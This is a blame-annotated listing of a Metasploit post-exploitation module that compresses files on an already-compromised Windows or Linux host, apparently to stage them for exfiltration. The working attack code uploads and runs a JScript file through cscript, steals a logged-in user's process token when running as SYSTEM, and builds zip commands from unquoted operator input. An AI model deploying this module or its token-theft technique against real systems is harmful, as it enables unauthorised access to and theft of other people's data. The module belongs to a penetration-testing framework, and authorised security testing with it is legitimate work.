2016-08-02 19:44:58 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
include Msf::Post::File
|
2016-08-17 21:56:09 +00:00
|
|
|
include Msf::Post::Windows::Priv
|
2016-08-02 19:44:58 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Multi Manage File Compressor',
|
|
|
|
'Description' => %q{
|
2016-08-03 16:04:53 +00:00
|
|
|
This module zips a file or a directory. On Linux, it uses the zip command.
|
2016-08-02 19:44:58 +00:00
|
|
|
On Windows, it will try to use remote target's 7Zip if found. If not, it falls
|
2017-01-07 18:17:24 +00:00
|
|
|
back to its Windows Scripting Host.
|
2016-08-02 19:44:58 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'sinn3r' ],
|
|
|
|
'Platform' => [ 'win', 'linux' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter', 'shell' ]
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2016-08-18 20:56:16 +00:00
|
|
|
OptString.new('DESTINATION', [true, 'The destination path']),
|
2016-08-02 19:44:58 +00:00
|
|
|
OptString.new('SOURCE', [true, 'The directory or file to compress'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2016-08-02 19:44:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def get_program_file_path
|
2016-08-03 16:11:34 +00:00
|
|
|
get_env('ProgramFiles')
|
2016-08-02 19:44:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def has_7zip?
|
|
|
|
file?("#{get_program_file_path}\\7-Zip\\7z.exe")
|
|
|
|
end
|
|
|
|
|
2017-01-07 18:17:24 +00:00
|
|
|
def wsh_script(dst, src)
|
|
|
|
script_file = File.read(File.join(Msf::Config.data_directory, "post", "zip", "zip.js"))
|
|
|
|
src.gsub!("\\", "\\\\\\")
|
|
|
|
dst.gsub!("\\", "\\\\\\")
|
2017-01-13 22:19:58 +00:00
|
|
|
script_file << "zip(\"#{src}\",\"#{dst}\");".force_encoding("UTF-8")
|
2017-01-07 18:17:24 +00:00
|
|
|
script_file
|
2016-08-02 19:44:58 +00:00
|
|
|
end
|
|
|
|
|
2016-08-17 21:56:09 +00:00
|
|
|
def find_pid_by_user(username)
|
|
|
|
computer_name = get_env('COMPUTERNAME')
|
|
|
|
print_status("Searching for PID for #{computer_name}\\\\#{username}")
|
|
|
|
session.sys.process.processes.each do |p|
|
|
|
|
if p['user'] == "#{computer_name}\\#{username}"
|
|
|
|
return p['pid']
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
nil
|
|
|
|
end
|
|
|
|
|
|
|
|
def steal_token
|
|
|
|
current_user = get_env('USERNAME')
|
|
|
|
pid = find_pid_by_user(current_user)
|
|
|
|
|
|
|
|
unless pid
|
2017-01-07 18:17:24 +00:00
|
|
|
fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute WSH")
|
2016-08-17 21:56:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Stealing token from PID #{pid} for #{current_user}")
|
|
|
|
begin
|
|
|
|
session.sys.config.steal_token(pid)
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
# It could raise an exception even when the token is successfully stolen,
|
|
|
|
# so we will just log the exception and move on.
|
|
|
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
|
|
|
end
|
|
|
|
|
|
|
|
@token_stolen = true
|
|
|
|
end
|
|
|
|
|
2017-01-07 18:17:24 +00:00
|
|
|
def upload_exec_wsh_script_zip
|
2016-08-17 21:56:09 +00:00
|
|
|
if is_system?
|
|
|
|
unless session
|
2017-01-07 18:17:24 +00:00
|
|
|
print_error('Unable to compress with WSH technique without Meterpreter')
|
2016-08-17 21:56:09 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
steal_token
|
|
|
|
end
|
|
|
|
|
2017-01-07 18:17:24 +00:00
|
|
|
script = wsh_script(datastore['DESTINATION'], datastore['SOURCE'])
|
|
|
|
tmp_path = "#{get_env('TEMP')}\\zip.js"
|
|
|
|
print_status("script file uploaded to #{tmp_path}")
|
2017-01-13 22:19:58 +00:00
|
|
|
write_file(tmp_path, script.encode("UTF-16LE"))
|
2017-01-07 18:17:24 +00:00
|
|
|
cmd_exec("cscript.exe #{tmp_path}")
|
2016-08-02 19:44:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def do_7zip
|
|
|
|
program_file_path = get_program_file_path
|
|
|
|
output = cmd_exec("#{program_file_path}\\7-Zip\\7z.exe a -tzip \"#{datastore['DESTINATION']}\" \"#{datastore['SOURCE']}\"")
|
|
|
|
vprint_line(output)
|
|
|
|
end
|
|
|
|
|
|
|
|
def do_zip
|
2016-08-23 23:43:50 +00:00
|
|
|
output = cmd_exec("zip -D -q -r #{datastore['DESTINATION']} #{datastore['SOURCE']}")
|
2016-08-02 19:44:58 +00:00
|
|
|
vprint_line(output)
|
|
|
|
end
|
|
|
|
|
|
|
|
def windows_zip
|
|
|
|
if has_7zip?
|
|
|
|
print_status("Compressing #{datastore['DESTINATION']} via 7zip")
|
|
|
|
do_7zip
|
|
|
|
else
|
2017-01-07 18:17:24 +00:00
|
|
|
print_status("Compressing #{datastore['DESTINATION']} via WSH")
|
|
|
|
upload_exec_wsh_script_zip
|
2016-08-02 19:44:58 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def linux_zip
|
|
|
|
print_status("Compressing #{datastore['DESTINATION']} via zip")
|
|
|
|
do_zip
|
|
|
|
end
|
|
|
|
|
2016-08-17 21:56:09 +00:00
|
|
|
def cleanup
|
|
|
|
if @token_stolen && session
|
|
|
|
session.sys.config.revert_to_self
|
|
|
|
print_status('Token restored.')
|
|
|
|
end
|
|
|
|
|
|
|
|
super
|
|
|
|
end
|
|
|
|
|
2016-08-02 19:44:58 +00:00
|
|
|
def run
|
2016-08-17 21:56:09 +00:00
|
|
|
@token_stolen = false
|
|
|
|
|
2016-10-29 03:41:20 +00:00
|
|
|
if session.platform == 'windows'
|
2016-08-02 19:44:58 +00:00
|
|
|
windows_zip
|
|
|
|
else
|
|
|
|
linux_zip
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|